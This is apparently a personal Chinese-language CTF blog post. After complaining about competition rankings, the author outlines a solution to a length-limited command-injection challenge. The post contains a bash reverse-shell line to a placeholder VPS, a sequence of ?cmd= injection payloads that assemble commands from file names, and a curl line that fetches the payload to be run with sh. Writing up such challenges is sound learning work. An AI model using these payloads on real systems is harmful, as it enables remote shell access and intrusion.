中午睡了一觉，醒来两点多了，发现几个群里又有人在黑我这个萌新菜比了.....然后用两个多小时ak了iscc放的题，这让我忍不住再次喷一波iscc...老子都ak了排名还5、60名...就因为昨天写红帽杯要交的wp没打....我真tm无语...算了算了不喷了。
开始今天的修炼！
在远程放好如下内容：
bash -c "bash -i >& /dev/tcp/vpsip/vpsport 0<&1 2>&1"
即可getshell。
开始操作！
写入 ls -t>g指令到_文件
?cmd=>ls\\ #创建ls\
?cmd=ls>_ #创建 _ 文件 文件内容为_ \n ls\ \n
?cmd=>\ \\ #创建 \空格 文件
?cmd=>-t\\ #创建 -t\ 文件
?cmd=>\>g #创建 >g 文件
?cmd=ls>>_ #将刚刚创建的文件名按照字典序写入_文件 这里的字典序是特殊符号在ls\的前面 所以在生成ls\之后我们要先ls>_ 保证ls\在最前面
sh _间接执行
ls -t>s
//curl yourvps:port>a
一样的思路写进文件，然后sh执行。
弹shell。
这是第一种解法。
嗯，先睡了。